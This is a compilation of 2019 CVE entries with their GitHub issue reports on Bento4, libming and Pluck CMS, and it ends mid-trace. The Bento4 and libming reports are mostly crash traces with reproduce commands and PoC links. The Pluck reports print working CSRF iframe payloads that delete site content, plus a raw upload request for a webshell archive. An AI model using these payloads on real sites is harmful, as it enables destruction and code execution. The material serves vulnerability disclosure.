───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffd9d0│+0x00: 0x00007fffffffda00 → 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 ← $rsp 0x00007fffffffd9d8│+0x08: 0x00007fffffffdb10 → 0x00007fff00000000 0x00007fffffffd9e0│+0x10: 0x000000000000bb80 0x00007fffffffd9e8│+0x18: 0x00006040000001d0 → 0x0000000000596420 → 0x000000000045725e → <AP4_Track::~AP4_Track()+0> push rbp 0x00007fffffffd9f0│+0x20: 0x0000000a00000000 → 0x0000000000000000 0x00007fffffffd9f8│+0x28: 0x0000000000000000 0x00007fffffffda00│+0x30: 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 ← $rbp 0x00007fffffffda08│+0x38: 0x0000000000451b68 → <main+1950> test eax, eax ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x4585c0 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> div BYTE PTR [rax+rcx*1+0x48] 0x4585c4 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov edi, edx 0x4585c6 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> call 0x451140 <__asan_report_load8@plt> → 0x4585cb <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rax, QWORD PTR [rax] 0x4585ce <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> add rax, 0x40 0x4585d2 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rdx, rax 0x4585d5 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rsi, rdx 0x4585d8 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> shr rsi, 0x3 0x4585dc <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> add rsi, 0x7fff8000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:/home/ace/Downloads/sources/Bento4/Source/C++/Core/Ap4Track.cpp+485 ]──── 480 AP4_Track::GetSampleIndexForTimeStampMs(AP4_UI32 ts_ms, AP4_Ordinal& index) 481 { 482 // convert the ts in the timescale of the track's media 483 AP4_UI64 ts = AP4_ConvertTime(ts_ms, 1000, GetMediaTimeScale()); 484 → 485 return m_SampleTable->GetSampleIndexForTimeStamp(ts, index); 486 } 487 488 /*---------------------------------------------------------------------- 489 | AP4_Track::GetNearestSyncSampleIndex 490 +---------------------------------------------------------------------*/ ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "mp4audioclip", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x4585cb → Name: AP4_Track::GetSampleIndexForTimeStampMs(this=0x6040000001d0, ts_ms=0x0, index=@0x7fffffffdb10) [#1] 0x451b68 → Name: main(argc=0x7, argv=0x7fffffffdec0) gef➤ p ts $4 = 0x0 gef➤ p index $5 = (AP4_Ordinal &) @0x7fffffffdb10: 0x0 gef➤ p m_SampleTable $6 = (AP4_SampleTable *) 0x0 gef➤ p m_SampleTable->GetSampleIndexForTimeStamp(ts, index) Cannot access memory at address 0x0 ```

NULL POINTER DEREFERENCE in AP4_Track::GetSampleIndexForTimeStampMs()

https://api.github.com/repos/axiomatic-systems/Bento4/issues/366/comments

2019-02-07T06:32:20Z

2019-02-07T06:32:50Z

https://github.com/axiomatic-systems/Bento4/issues/366

CVE-2019-8382

2019-02-17T02:29:00.597

An issue was discovered in Bento4 1.5.1-628. A NULL pointer dereference occurs in the function AP4_List:Find located in Core/Ap4List.h when called from Core/Ap4Movie.cpp. It can be triggered by sending a crafted file to the mp4dump binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

https://github.com/axiomatic-systems/Bento4/issues/364

github.com

**Description** - we observed a NULL pointer dereference occured in function AP4_List<AP4_Track>: Find () located in Ap4List.h.The same be triggered by sending a crafted file to the mp4dump binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - `./mp4dump --track 1:E791400BC075044176E34136E3C134F35E3513BE430B907B --format text $POC` **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/POC_NP?raw=true) **Degub** - **ASAN REPORT** - ``` ASAN: DEADLYSIGNAL ================================================================= ==10246==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000030 (pc 0x55d0b61aeae7 bp 0x7ffcc696e490 sp 0x7ffcc696e460 T0) ==10246==The signal is caused by a READ memory access. ==10246==Hint: address points to the zero page. #0 0x55d0b61aeae6 in AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder const&, AP4_Track*&) const /home/aceteam/Desktop/packages/Bento4/Source/C++/Core/Ap4List.h:428 #1 0x55d0b61adb79 in AP4_Movie::GetTrack(unsigned int) /home/aceteam/Desktop/packages/Bento4/Source/C++/Core/Ap4Movie.cpp:148 #2 0x55d0b6161f2f in DumpTrackData(char const*, AP4_File&, AP4_Array<unsigned int> const&, AP4_ProtectionKeyMap const&) /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Mp4Dump/Mp4Dump.cpp:183 #3 0x55d0b616304f in main /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Mp4Dump/Mp4Dump.cpp:367 #4 0x7faa6d1a4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #5 0x55d0b61612f9 in _start (/home/aceteam/Desktop/packages/Bento4/builds/mp4dump+0x3082f9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/aceteam/Desktop/packages/Bento4/Source/C++/Core/Ap4List.h:428 in AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder const&, AP4_Track*&) const ==10246==ABORTING ``` **GDB** - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x20 $rbx : 0x7fffffffd7e0 → 0x0000555555da9370 → 0x0000555555869846 → <AP4_AtomFactory::~AP4_AtomFactory()+0> push rbp $rcx : 0x0 $rdx : 0x0 $rsp : 0x7fffffffd6f0 → 0x00007fffffffd730 → 0x00000001ffffd750 → 0x0000000000000000 $rbp : 0x7fffffffd720 → 0x00007fffffffd810 → 0x00007fffffffd880 → 0x00007fffffffdc70 → 0x0000555555985150 → <__libc_csu_init+0> push r15 $rsi : 0x7fffffffd7a0 → 0x0000555555da98f0 → 0x00005555558aa0fe → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp $rdi : 0x20 $rip : 0x5555558a9ae7 → <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rax+0x10] $r8 : 0x6 $r9 : 0x1e $r10 : 0x7ffff7fbd000 → 0x00007ffff7fee000 → 0x00007ffff716a698 → 0x00007ffff6f09090 → repz ret $r11 : 0x7ffff64a9b97 → <__libc_start_main+231> mov edi, eax $r12 : 0x7fffffffd740 → 0x0000000041b58ab3 $r13 : 0xffffffffae8 → 0x0000000000000000 $r14 : 0x20 $r15 : 0x7fffffffd740 → 0x0000000041b58ab3 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $ss: 0x002b $cs: 0x0033 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffd6f0│+0x00: 0x00007fffffffd730 → 0x00000001ffffd750 → 0x0000000000000000 ← $rsp 0x00007fffffffd6f8│+0x08: 0x00007fffffffd760 → 0x0000000000000000 0x00007fffffffd700│+0x10: 0x00007fffffffd7a0 → 0x0000555555da98f0 → 0x00005555558aa0fe → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp 0x00007fffffffd708│+0x18: 0x0000000000000020 0x00007fffffffd710│+0x20: 0x00000001fffffaf8 → 0x0000000000000000 0x00007fffffffd718│+0x28: 0x00007fffffffd7a0 → 0x0000555555da98f0 → 0x00005555558aa0fe → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp 0x00007fffffffd720│+0x30: 0x00007fffffffd810 → 0x00007fffffffd880 → 0x00007fffffffdc70 → 0x0000555555985150 → <__libc_csu_init+0> push r15 ← $rbp 0x00007fffffffd728│+0x38: 0x00005555558a8b7a → <AP4_Movie::GetTrack(unsigned+0> test eax, eax ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x5555558a9adb <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rdi, rax 0x5555558a9ade <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> call 0x55555585c180 <__asan_report_load8@plt> 0x5555558a9ae3 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rbp-0x18] → 0x5555558a9ae7 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rax+0x10] 0x5555558a9aeb <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov QWORD PTR [rbp-0x8], rax 0x5555558a9aef <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> cmp QWORD PTR [rbp-0x8], 0x0 0x5555558a9af4 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> je 0x5555558a9c13 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder const&, AP4_Track*&) const+361> 0x5555558a9afa <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rbp-0x20] 0x5555558a9afe <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rdx, rax ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:/home/aceteam//Bento4/Source/C++/Core/Ap4List.h+428 ]──── 423 template <typename T> 424 inline 425 AP4_Result 426 AP4_List<T>::Find(const typename Item::Finder& finder, T*& data) const 427 { // item=0x00007fffffffd718 → [...] → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp → 428 Item* item = m_Head; 429 430 while (item) { 431 if (finder.Test(item->m_Data) == AP4_SUCCESS) { 432 data = item->m_Data; 433 return AP4_SUCCESS; ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "mp4dump", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x5555558a9ae7 → Name: AP4_List<AP4_Track>::Find(this=0x20, finder=@0x7fffffffd7a0, data=@0x7fffffffd760) [#1] 0x5555558a8b7a → Name: AP4_Movie::GetTrack(this=0x0, track_id=0x1) [#2] 0x55555585cf30 → Name: DumpTrackData(mp4_filename=0x7fffffffe17b "$POC", mp4_file=@0x7fffffffdb80, tracks_to_dump=@0x7fffffffda80, key_map=@0x7fffffffdac0) [#3] 0x55555585e050 → Name: main(argc=0x6, argv=0x7fffffffdd90) ───────────────────────────────────────────────────────────────────────────────────────────────── ```

NULL POINTER DEREFERENCE in AP4_List<AP4_Track>: Find ()

https://api.github.com/repos/axiomatic-systems/Bento4/issues/364/comments

2019-02-01T10:30:07Z

2019-02-01T10:30:07Z

https://github.com/axiomatic-systems/Bento4/issues/364

CVE-2019-9048

2019-02-23T19:29:00.247

An issue was discovered in Pluck 4.7.9-dev1. There is a CSRF vulnerability that can delete a theme (aka topic) via a /admin.php?action=theme_delete&var1= URI.

https://github.com/pluck-cms/pluck/issues/69

github.com

One: use CSRF vulnerability to delete pictures Vulnerability details: When the administrator logs in, opening the webpage will automatically delete the specified image. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=images Vulnerability POC: <iframe src="http://127.0.0.1/pluck/admin.php?action=deleteimage&var1=test.jpg" > Two: use the CSRF vulnerability to delete the topic Vulnerability details: When the administrator logs in, opening the web page will automatically delete the specified topic. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=theme Vulnerability POC: <iframe src="http://127.0.0.1/pluck/admin.php?action=theme_delete&var1=oldstyl"> Three: use CSRF vulnerability to remove the module Vulnerability details: When the administrator logs in, open the webpage and the specified module will be deleted automatically. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=modules Vulnerability POC: <iframe src="http://127.0.0.1/pluck/admin.php?action=module_delete&var1=albums " > Four: use CSRF vulnerability to delete pictures Vulnerability details: When the administrator logs in, opening the web page will automatically delete the specified article. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=page Vulnerability POC: <iframe src="http://127.0.0.1/pluck/admin.php?action=deletepage&var1=aaaa"> Vulnerability suggestions: One: Detect user submissions by referer, token, or verification code. Second: It is best to use the post operation for users to modify and delete.

Four CSRF vulnerabilities in pluck cms 4.7.9

https://api.github.com/repos/pluck-cms/pluck/issues/69/comments

2019-02-18T07:08:41Z

2019-05-15T16:25:24Z

https://github.com/pluck-cms/pluck/issues/69

CVE-2019-9050

2019-02-23T19:29:00.343

An issue was discovered in Pluck 4.7.9-dev1. It allows administrators to execute arbitrary code by using action=installmodule to upload a ZIP archive, which is then extracted and executed.

https://github.com/pluck-cms/pluck/issues/70

github.com

Vulnerability details: In the management module page, the installation module uploads a compressed webshell, which can be directly uploaded and decompressed, causing the entire website to crash. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=installmodule Vulnerability POC: POST /pluck/admin.php?action=installmodule HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/pluck/admin.php?action=installmodule Content-Type: multipart/form-data; boundary=---------------------------26299170359894 Content-Length: 56087 Connection: close Cookie: envlpass=21232f297a57a5a743894a0e4a801fc3; _ga=GA1.1.1523573753.1550292454; PHPSESSID=vr8t3uqdsh6gu011nijv1jjjco Upgrade-Insecure-Requests: 1 -----------------------------26299170359894 Content-Disposition: form-data; name="sendfile"; filename="webshell.zip" Content-Type: application/x-zip-compressed

A file upload vulnerability

https://api.github.com/repos/pluck-cms/pluck/issues/70/comments

2019-02-18T07:28:57Z

2019-05-15T14:01:12Z

https://github.com/pluck-cms/pluck/issues/70

CVE-2019-9113

2019-02-25T04:29:00.463

Ming (aka libming) 0.4.8 has a NULL pointer dereference in the function getString() in the decompile.c file in libutil.a.

https://github.com/libming/libming/issues/171

github.com

A null pointer dereference was found in function getString() (decompile.c line 381) Details is as below: ``` ASAN:SIGSEGV ================================================================= ==30834==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000411266 bp 0x7ffd28773620 sp 0x7ffd28773580 T0) #0 0x411265 in getString /src/libming-afl/util/decompile.c:381 #1 0x412f8c in newVar_N /src/libming-afl/util/decompile.c:725 #2 0x41685e in decompileNEWOBJECT /src/libming-afl/util/decompile.c:1677 #3 0x41ed5a in decompileAction /src/libming-afl/util/decompile.c:3283 #4 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #5 0x41e83c in decompileSETTARGET /src/libming-afl/util/decompile.c:3169 #6 0x41f292 in decompileAction /src/libming-afl/util/decompile.c:3462 #7 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #8 0x41f4b3 in decompile5Action /src/libming-afl/util/decompile.c:3517 #9 0x40bb42 in outputSWF_DOACTION /src/libming-afl/util/outputscript.c:1551 #10 0x40e171 in outputBlock /src/libming-afl/util/outputscript.c:2083 #11 0x40f1c7 in readMovie /src/libming-afl/util/main.c:281 #12 0x40f8fc in main /src/libming-afl/util/main.c:354 #13 0x7f83c852182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401998 in _start (/src/fuzz/swftocxx+0x401998) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /src/libming-afl/util/decompile.c:381 getString ==30834==ABORTING ``` poc file : https://github.com/JsHuang/libming-poc/blob/master/swftocxx/SIGSEGV_decompile_381 Reproduce it using: `./swftocxx SIGSEGV_decompile_381 ` credit: ADLab of Venustech

Null pointer dereference in getString (decompile.c 381)

https://api.github.com/repos/libming/libming/issues/171/comments

2019-01-02T06:33:17Z

2019-03-01T14:19:12Z

https://github.com/libming/libming/issues/171

CVE-2019-9114

2019-02-25T04:29:00.497

Ming (aka libming) 0.4.8 has an out of bounds write vulnerability in the function strcpyext() in the decompile.c file in libutil.a.

https://github.com/libming/libming/issues/170

github.com

An Out Of Bound Write bug was found in function strcpyext() in decompile.c . Details with asan output is as below: ``` ==30836==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000ee18 at pc 0x000000410767 bp 0x7fff7361f360 sp 0x7fff7361f350 WRITE of size 1 at 0x60300000ee18 thread T0 #0 0x410766 in strcpyext /src/libming-afl/util/decompile.c:259 #1 0x41164a in getName /src/libming-afl/util/decompile.c:418 #2 0x41705f in decompileGETVARIABLE /src/libming-afl/util/decompile.c:1816 #3 0x41edd2 in decompileAction /src/libming-afl/util/decompile.c:3299 #4 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #5 0x41e83c in decompileSETTARGET /src/libming-afl/util/decompile.c:3169 #6 0x41f292 in decompileAction /src/libming-afl/util/decompile.c:3462 #7 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #8 0x41f4b3 in decompile5Action /src/libming-afl/util/decompile.c:3517 #9 0x40bb42 in outputSWF_DOACTION /src/libming-afl/util/outputscript.c:1551 #10 0x40e171 in outputBlock /src/libming-afl/util/outputscript.c:2083 #11 0x40f1c7 in readMovie /src/libming-afl/util/main.c:281 #12 0x40f8fc in main /src/libming-afl/util/main.c:354 #13 0x7f0d4149882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401998 in _start (/src/fuzz/swftocxx+0x401998) 0x60300000ee18 is located 0 bytes to the right of 24-byte region [0x60300000ee00,0x60300000ee18) allocated by thread T0 here: #0 0x7f0d41dfd602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x41162f in getName /src/libming-afl/util/decompile.c:417 #2 0x41705f in decompileGETVARIABLE /src/libming-afl/util/decompile.c:1816 #3 0x41edd2 in decompileAction /src/libming-afl/util/decompile.c:3299 #4 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #5 0x41e83c in decompileSETTARGET /src/libming-afl/util/decompile.c:3169 #6 0x41f292 in decompileAction /src/libming-afl/util/decompile.c:3462 #7 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #8 0x41f4b3 in decompile5Action /src/libming-afl/util/decompile.c:3517 #9 0x40bb42 in outputSWF_DOACTION /src/libming-afl/util/outputscript.c:1551 #10 0x40e171 in outputBlock /src/libming-afl/util/outputscript.c:2083 #11 0x40f1c7 in readMovie /src/libming-afl/util/main.c:281 #12 0x40f8fc in main /src/libming-afl/util/main.c:354 #13 0x7f0d4149882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /src/libming-afl/util/decompile.c:259 strcpyext Shadow bytes around the buggy address: 0x0c067fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c067fff9dc0: 00 00 00[fa]fa fa fd fd fd fd fa fa fd fd fd fa 0x0c067fff9dd0: fa fa 00 00 00 fa fa fa fd fd fd fa fa fa fd fd 0x0c067fff9de0: fd fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff9df0: 00 00 00 00 fa fa 00 00 00 00 fa fa fd fd fd fd 0x0c067fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==30836==ABORTING ``` poc file https://github.com/JsHuang/libming-poc/blob/master/swftocxx/oob_write_decompile_259 to reproduce it ,run swftocxx with oob_write_decompile_259 `./swftocxx oob_write_decompile_259 ` credit: ADLab of Venustech

Out Of Bound Write in function strcpyext()

https://api.github.com/repos/libming/libming/issues/170/comments

2019-01-02T06:25:41Z

2019-03-01T14:19:41Z

https://github.com/libming/libming/issues/170

CVE-2019-9544

2019-03-01T19:29:02.850

An issue was discovered in Bento4 1.5.1-628. An out of bounds write occurs in AP4_CttsTableEntry::AP4_CttsTableEntry() located in Core/Ap4Array.h. It can be triggered by sending a crafted file to (for example) the mp42hls binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact.

https://github.com/axiomatic-systems/Bento4/issues/374

github.com

**Description** - we observed a Out of bound write occured in function AP4_Array<AP4_CttsTableEntry>::SetItemCount() located in Ap4Array.h.The same be triggered by sending a crafted file to the [mp42hls.exe(windows)] [mp42hls(ubuntu)] binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command in linux** - mp42hls --hls-version 3 --pmt-pid 0x100 --video-pid 0x102 --video-track-id 1 --segment-duration 6 --segment-duration-threshold 15 --pcr-offset 10000 --index-filename stream.m3u8 --segment-filename-template stream.mp4 --output-single-file $POC **Command in windows** - mp42hls.exe --hls-version 3 --pmt-pid 0x100 --video-pid 0x102 --video-track-id 1 --segment-duration 6 --segment-duration-threshold 15 --pcr-offset 10000 --index-filename stream.m3u8 --segment-filename-template stream.mp4 --output-single-file $POC **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/HOB_POC1?raw=true) **Degub** - **ASAN REPORT** - ~~~ ASAN report: WARNING: forcing version to 4 in order to support single file output ================================================================= ==9911==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb4303d10 at pc 0x08187f87 bp 0xbfffd008 sp 0xbfffcff8 WRITE of size 4 at 0xb4303d10 thread T0 #0 0x8187f86 in AP4_CttsTableEntry::AP4_CttsTableEntry() /Bento4/Source/C++/Core/Ap4CttsAtom.h:51 #1 0x8188428 in AP4_Array<AP4_CttsTableEntry>::SetItemCount(unsigned int) /Bento4/Source/C++/Core/Ap4Array.h:215 #2 0x8187441 in AP4_CttsAtom::AP4_CttsAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4CttsAtom.cpp:79 #3 0x81870aa in AP4_CttsAtom::Create(unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4CttsAtom.cpp:52 #4 0x8196e9a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:469 #5 0x81950ee in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:231 #6 0x80c376f in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194 #7 0x80c31a1 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139 #8 0x80c2c79 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88 #9 0x81987d0 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:774 #10 0x81950ee in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:231 #11 0x80c376f in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194 #12 0x80c31a1 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139 #13 0x80c2c79 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88 #14 0x81987d0 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:774 SUMMARY: AddressSanitizer: heap-buffer-overflow /Bento4/Source/C++/Core/Ap4CttsAtom.h:51 AP4_CttsTableEntry::AP4_CttsTableEntry() Shadow bytes around the buggy address: 0x36860750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x36860760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x36860770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x36860780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x36860790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x368607a0: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==9911==ABORTING ~~~ **GDB** - ~~~ source:/home/loginsoft/ACE/sources/himanshu_sources/Bento4/Source/C++/Core/Ap4Array.h+215 ──── 210 AP4_Result result = EnsureCapacity(item_count); 211 if (AP4_FAILED(result)) return result; 212 213 // construct the new items 214 for (unsigned int i=m_ItemCount; i<item_count; i++) { // i=0x27ae → 215 new ((void*)&m_Items[i]) T(); 216 } 217 m_ItemCount = item_count; 218 return AP4_SUCCESS; 219 } 220 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "mp42hls", stopped, reason: SIGSEGV ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x810429f → AP4_Array<AP4_SbgpAtom::Entry>::SetItemCount(this=0x8165278, item_count=0x80000001) [#1] 0x8103d92 → AP4_SbgpAtom::AP4_SbgpAtom(this=0x8165250, size=0x1c, version=0x0, flags=0x0, stream=@0x8159ea0) [#2] 0x8103bf5 → AP4_SbgpAtom::Create(size=0x1c, stream=@0x8159ea0) [#3] 0x80f59da → AP4_AtomFactory::CreateAtomFromStream(this=0xbffff1c4, stream=@0x8159ea0, type=0x73626770, size_32=0x1c, size_64=0x1c, atom=@0xbfffe72c) [#4] 0x80f412a → AP4_AtomFactory::CreateAtomFromStream(this=0xbffff1c4, stream=@0x8159ea0, bytes_available=@0xbfffe730, atom=@0xbfffe72c) [#5] 0x80a4cd5 → AP4_ContainerAtom::ReadChildren(this=0x815ea10, atom_factory=@0xbffff1c4, stream=@0x8159ea0, size=0x4a40) [#6] 0x80a4a44 → AP4_ContainerAtom::AP4_ContainerAtom(this=0x815ea10, type=0x7374626c, size=0x4a48, force_64=0x0, stream=@0x8159ea0, atom_factory=@0xbffff1c4) [#7] 0x80a47e5 → AP4_ContainerAtom::Create(type=0x7374626c, size=0x4a48, is_full=0x0, force_64=0x0, stream=@0x8159ea0, atom_factory=@0xbffff1c4) [#8] 0x80f5bbf → AP4_AtomFactory::CreateAtomFromStream(this=0xbffff1c4, stream=@0x8159ea0, type=0x7374626c, size_32=0x4a48, 